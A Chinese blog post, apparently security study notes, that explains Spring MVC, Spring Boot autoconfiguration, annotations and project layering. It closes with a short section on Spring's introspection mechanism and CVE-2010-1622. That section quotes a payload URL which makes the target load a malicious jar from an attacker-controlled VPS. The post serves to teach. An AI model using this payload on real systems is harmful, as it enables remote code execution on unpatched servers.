
Spring 是一个开源的框架,用于构建企业级 Java 应用程序。它提供了广泛的基础设施支持和一系列的解决方案,使开发者能够更轻松地构建和部署复杂的应用。
SpringMVC 是 Spring 基础之上的一个 MVC 框架,基于模型-视图-控制器(Model-View-Controller,简称 MVC)设计模式进行 JavaWeb 系统的开发,它是 Spring 的一个模块,通过 Dispatcher Servlet, ModelAndView 和 View Resolver 等,让应用开发变得很容易。
SpringMVC 是基于 Spring 功能之上添加的 Web 框架,想用 SpringMVC 必须先依赖 Spring。
SpringBoot 是一款基于 JAVA 的开源框架。目的是为了简化 Spring 应用搭建和开发流程。是目前比较流行,大中小型企业常用的框架。正因为极大简化了开发流程,才受到绝大开发人员的喜爱。
SpringBoot 核心原理是自动装配(自动配置)。
在这之前,开发一个JavaWeb,Spring 等项目要进行很多配置,使用了 SpringBoot 就不用在过多考虑这些方面。
并且在 SpringBoot 中还内置了 Tomcat。
Spring基础
Spring MVC
在Spring MVC框架中,DispatcherServlet, HandlerMapping和HandlerAdapter是三个重要的组件, 它们各自承担不同的角色, 协同工作以处理客户端的请求并调度相应的处理程序. 以下是解释和作用:
DispatcherServlet(调度器Servlet):
- 作用: 是SpringMVC中的前端控制器(Front Controller), 负责接受客户端的所有请求并将其分派给适当的处理程序(Controller).
- 解释:当客户端发送请求时, DispatcherServlet 接收请求, 然后根据配置和规则找到合适的
HandlerMapping来确定请求对应的处理程序. 一旦找到处理程序, DispatcherServlet将请求交给该处理程序进行处理. 它还负责处理异常, 视图解析和其他与请求生命周期相关的任务.
HandlerMapping(处理程序映射):
- 作用:负责将请求映射到相应的处理程序(Controller). 它确定了客户端请求应该由哪个处理程序来处理.
- 解释:在SpringMVC中, 可以有多个
HandlerMapping实现, 包括基于注解的映射, 基于路径的映射等.HandlerMapping将请求的URL映射到具体的控制器和方法, 以便DispatcherServlet可以将请求分发给正确的处理程序.
HandlerAdapter(处理程序适配器):
- 作用:负责调用实际的处理程序(Controller)来处理请求, 并将处理程序的执行结果返回给
DispatcherServlet. - 解释:不同处理程序可能有不同的接口,
HandlerAdapter的作用是适配各种不同类型的处理程序, 使得他们能够被DispatcherServlet统一调用. 它将请求传递给处理程序, 处理程序执行后,HandlerAdapter还负责处理返回的结果, 如视图解析/数据绑定等.
这三个组件共同协作,实现了请求的分发和处理。DispatcherServlet 充当总管,HandlerMapping 负责找到处理程序,而 HandlerAdapter 则负责调用实际的处理程序执行业务逻辑。这种设计使得 Spring MVC 具有灵活性,允许通过配置来适应不同的业务需求和处理程序类型。

Spring Boot简介
Spring Boot中,自动装配是一项非常重要的功能,它帮助开发者简化了项目的配置和搭建过程。Spring Boot通过一系列的约定和默认配置,自动地将各种组件进行装配,使得开发者能够更专注于业务逻辑而不必过多关注框架的配置。
以下是spring boot自动装配体现的一些主要方面:
依赖管理:Spring Boot通过Maven或Gradle等构建工具,引入了一系列默认的依赖项,以简化项目的搭建。例如:通过添加spring-boot-starter-web依赖,就能够使用SpringMVC来构建web应用。
类路径扫描:Spring Boot会自动扫描项目中的特定包及其子包,寻找标有特殊注解的类,比如@Controller,@Service,@Repository等, 然后它们注册为Spring的组件.
默认配置:Spring Boot提供了大量的默认配置, 当没有显式配置时,这些默认配置会自动应用。例如,如果项目中引入了数据库相关的依赖,Spring Boot会根据类路径上的数据库驱动自动配置数据源发。
条件化装配:Spring Boot引入了条件化装配的概念,根据类路径上的特定条件来决定是否启用某些配置。这使得可以根据不同的环境或条件来自动装配不同的组件。
Spring Boot Starter:Spring Boot提供了一系列的Starter依赖,这些Starter提供了一组常用的依赖项的整合,比如spring-boot-starter-data-jpa, spring-boot-starter-security等, 他们能够一次性地引入一组相关的依赖和配置,简化了开发者的工作.
自定义Starter: 除了Spring Boot提供的Starter之外, 开发者也可以创建自己的Starter, 将一组相关的依赖和配置封装起来, 使得它们能够在不同的项目中被重复使用.
**自动化配置类: **Spring Boot通过自动化配置类来实现自动装配. 这些配置类使用@Configuration注解标记, 并且通常包含有@ConditionalOn...注解, 用于指定生效的条件.
总体来说, SpringBoot通过一系列约定, 默认配置, 条件化装配等方式, 实现了自动装配, 使得开发者能够更加方便的构建和配置项目.
创建Spring Boot项目
接下来, 我们着手创建一个Spring Boot项目

然后下一步, 勾选Spring web即可

这里我们就创建好了SpringBoot项目
直接运行application即可
访问http://127.0.0.1:8080/hello 能得到一个初始化界面

@SpringBootApplication这个注解表示为这个类是SpringBoot的主配置类, Spring Boot项目应运行这个类下面的main方法来启动Spring Boot应用.
也就是说Application是该项目的入口.
下面进入demos.web目录下, 看看她的controller代码, 也就是返回Hello unknown user内容的接口代码. 是位于该目录下的BasicController, 拿上述接口距离, 访问hello 会返回你输入的名字, 默认是unknown user

其他一些注解含义:
@Controller注解: 标注该类为controller类, 可以处理http请求. @Controller一般要配合模板来使用. 现在项目大多是前后端分离, 后端处理请求, 然后返回json格式数据即可, 这样也就不需要模板了.
@ResponseBody注解: 将该注解写在类的外面, 表示这个类所有方法的返回数据直接给浏览器. @RestController相当于@ResponseBody加上@Controller
@RequestMapping注解: 配置URL映射, 可以作用于某个Controller类上, 也可以作用于某Controller类下的具体方法中, 说白了就是URL中请求路径会直接映射到具体方法中执行代码逻辑.
@PathVariable注解: 接受请求URL路径中占位符的值,实例代码如下:
1 |
|
@RequestParm注解: 将请求参数绑定到你控制器的方法参数上(是springmvc中接收普通参数的注解), 常用于POST请求处理表单。
Java分层思想
Java分层思想是一种软件架构设计理念, 旨在将一个复杂的系统划分为多个相对独立且互相关联的层次, 每个层次负责不同的功能, 以实现高内聚、低耦合的设计。这种思想有助于提高代码的可维护性、可扩展性,并使团队更容易协同工作。以下是Java分层思想的主要层次:
表现层:主要负责与用户交互,处理用户界面和用户输入输出。在Java中,通常由servlet、JSP、或者更现代的框架如Spring MVC负责、或者SpringBoot下的Controller层。
业务层:业务层包含应用程序的业务逻辑,处理业务规则和数据处理。这一层通常由JavaBean、Service等组成,负责执行具体的业务操作。
服务层:服务层是业务层的一部分,提供业务逻辑的具体实现。在Spring框架中,使用@Service注解来表示服务层。
持久层:持久层负责数据的持久化,通常与数据库交互。在Java中,常见的持久层技术包括JDBC、Hibernate、MyBatis等。
数据访问层:这一层是持久层的一部分,负责封装数据访问细节,提供统一的接口给业务层。通常由DAO(Data Access Object)组成。
通过明确划分这些层次,开发人员可以更容易的理解、维护和扩展代码。这种分层思想还有助于实现模块化开发,每个层次都可以独立测试和替换,从而提高系统的可测试性和灵活性。在实际应用中,可以根据项目的规模和需求进行适度的调整和扩展。
代码案例
src/main下一般有两个目录, 分别是Java和resources
其中Java目录主要是存放的Java代码
resources目录则存放的是静态资源文件, 比如HTML\js\css等.
在Java目录下还有其他一些常见的目录, 具体含义整理如下:
Java目录
annotation: 存放项目自定义注解controller: 存放控制器, 接受从前端传来的参数, 对访问控制进行转发, 各类基本参数校验或者不复用的业务简单处理等.dao/: 数据访问层, 与数据库进行交互, 负责数据库操作, 在Mybaits框架中存放自定义的Mapper接口entity: 存放实体类interceptor/: 拦截器service/: 存放服务类, 负责业务模块逻辑处理. Service层中有两种类, 一是Service, 用来声明接口; 二是ServiceImpl, 作为实现类事件接口中的方法.utils/: 存放工具类dto/: 存放数据传输对象(Data Transfer Object), 如请求参数和返回结果vo/: 试图对象(View Object)用于封装客户端请求的数据, 防止部分数据泄露, 保证数据安全constant: 存放常量filter: 存放过滤器
resources目录
mapper/: 存放Mybaits的mapper.xml文件static/: 存放静态资源文件(js\cs\图片等), 在这个目录中的所有文件可以被直接访问templates/: 存放模板文件application.properties或application.yml: Spring Boot默认配置文件
Spring漏洞
Spring内省机制
Spring框架帮我们自动匹配提交的表单名字,和传入的实体,自动赋值。
class对象
在Java中有两种对象,一种是通过new()出来的对象,另外一种是Class对象。在Java中用来表示运行时类型信息对应类就是Class类,Class类也是一个实实在在的类,存在于JDK的java.lang包中。Class类被创建后的对象就是Class对象,注意,Class对象表示的是自己手动编写类的类型信息,比如创建一个Shapes类,那么,JVM就会创建一个Shapes对应Class类的Class对象, 每当我们编写并且编译一个新创建的类就会产生一个对应Class对象并且这个Class对象会被保存在同名.class文件里(编译后的字节码文件保存的就是Class对象)。
bean对象
也可以叫pojo、entity、 表示的若干属性的集合类,一般不会涉及具体的业务逻辑代码,仅有和自身属性相关的方法
内省(IntroSpector)是Java语言对JavaBean类属性、事件的一种处理方法。例如类A中有属性name,那么我们可以通过getName, setName来得到其值或者设置新的值。通过getName\setName来访问name属性, 这就是默认的规则.
Java中提供了一套API用来访问某个属性的getter/setter方法, 这些API存放于java.beans中.
一般的做法是通过类Introspector的getBeanInfo方法获取某个对象的BeanInfo信息,然后通过BeanInfo来获取属性的描述器(PropertyDescriptor),通过这个属性描述器就可以获取某个属性对应的getter/setter方法, 然后我们就可以通过反射机制来调用这些方法.
那么由于类属性我们可以自由指定名称, Java需要一套完整的机制来获取到任意的bean对象的属性名称或者get/set方法名称, 这时候就需要Introspector类
cve-2010-1622
payload:
1 | http://靶机url/user?class.classLoader.URLs[0]=jar:http://vps/spring-jar.jar!/ |
这里也就是利用了内省机制, 通过多个属性引用的赋值, 最终赋值给WebappClassLoader对象
通过jsp页面执行解析dtd文件时, 执行里面的jsp代码的机制, 远程加载恶意jar包
- Post title: Web_13_spring基础与漏洞利用
- Create time: 2025-10-09 10:49:29
- Post link: 2025/10/09/Web_13_spring基础与漏洞利用/
- Copyright notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.